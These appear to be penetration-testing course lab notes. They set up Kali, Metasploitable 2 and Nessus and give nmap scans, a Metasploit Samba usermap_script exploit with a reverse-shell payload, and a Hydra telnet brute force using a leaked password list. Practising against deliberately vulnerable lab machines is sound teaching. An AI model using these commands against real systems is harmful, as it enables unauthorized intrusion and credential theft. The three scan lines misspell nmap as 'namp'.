```
#Install Kali Linux
https://www.kali.org/get-kali/#kali-virtual-machines

#Install Metasploitable 2.0
https://sourceforge.net/projects/metasploitable/
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/

#Install Nessus
https://www.tenable.com/downloads/nessus?loginAttempted=true
sudo apt install -f ./Nessus-10.2.0-debian6_amd64.deb
sudo systemctl enable nessusd
sudo systemctl start nessusd
https://kali:8834/

#nmap
zenmap for windows
namp -sn 10.0.2.0/24
namp -A 10.0.2.6
namp --script vuln 10.0.2.6
https://www.tutorialspoint.com/nmap-cheat-sheet

In the video I said that nmap -A scan selective ports.
Actually by default, Nmap scans the most common 1,000 ports for each protocol and
-A option enables OS detection, version detection, script scanning, and tracerout.

#metasploit
systemctl start postgresql
msfdb init
msfconsole
workspace -a CSE406
workspace
workspace CSE406
db_nmap -sn 10.0.2.0/24
hosts
db_nmap -A 10.0.2.4
services

search samba
info 8
use 8
set rhosts 10.0.2.4
show payloads
set PAYLOAD cmd/unix/reverse
exploit

https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script/
https://www.imperva.com/learn/application-security/reverse-shell/
https://www.tutorialspoint.com/metasploit/index.htm

#hydra
Leaked Passwords: https://wikileaks.org/sony/docs/bonus/1/Password/
hydra -l msfadmin -P passlist.txt 10.0.2.6 telnet

#Few other tools
OSINT
https://github.com/sherlock-project/sherlock

MSDT-follina
https://github.com/JohnHammond/msdt-follina

Burp Suite
https://portswigger.net/burp

Autopsy
```

https://www.sleuthkit.org/autopsy/

Web Security
https://github.com/digininja/DVWA
https://github.com/WebGoat/WebGoat

#Youbute Channels for Learning

1. https://www.youtube.com/c/NullByteWHT
2. https://www.youtube.com/c/JohnHammond010
3. https://www.youtube.com/c/LoiLiangYang